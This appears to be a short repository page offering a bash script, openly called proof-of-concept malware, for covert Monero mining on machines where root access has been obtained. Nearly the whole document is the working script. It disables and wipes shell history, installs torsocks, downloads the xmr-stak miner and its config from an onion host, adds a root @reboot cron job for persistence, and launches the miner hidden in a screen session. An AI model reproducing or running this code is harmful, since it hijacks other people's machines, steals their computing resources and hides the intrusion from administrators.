Proof of concept malware that can be used with xmr-stak to create someone profit on root machines.

poc_monero_mining_malware.sh

#!/bin/bash
ONION="http://myonion.onion";
EXEC_PATH="/etc/stak"
RUN="cd $EXEC_PATH && screen -S xmr-stak -d -m $EXEC_PATH/xmr-stak";
EXEC="@reboot $RUN";


unset HISTFILE;
echo "unset HISTFILE" >> ~/.bashrc;
history -c;
history -w;

if [ ! -f "/usr/bin/torsocks" ]
then
    if [ -e "/usr/bin/apt-get" ]
    then
        apt-get update -y > /dev/null;
        apt-get install torsocks -y > /dev/null;
    fi

    if [ -e "/usr/bin/yum" ]
    then
        yum update -y > /dev/null;
        yum install torsocks -y > /dev/null;
    fi
fi

function download () {
    torsocks wget $ONION/$1 -O $EXEC_PATH/$1 > /dev/null;
}


mkdir -p $EXEC_PATH;
download xmr-stak
download config.txt
(crontab -u root -l; echo "$EXEC" ) | crontab -u root -;


$RUN;
exit 0;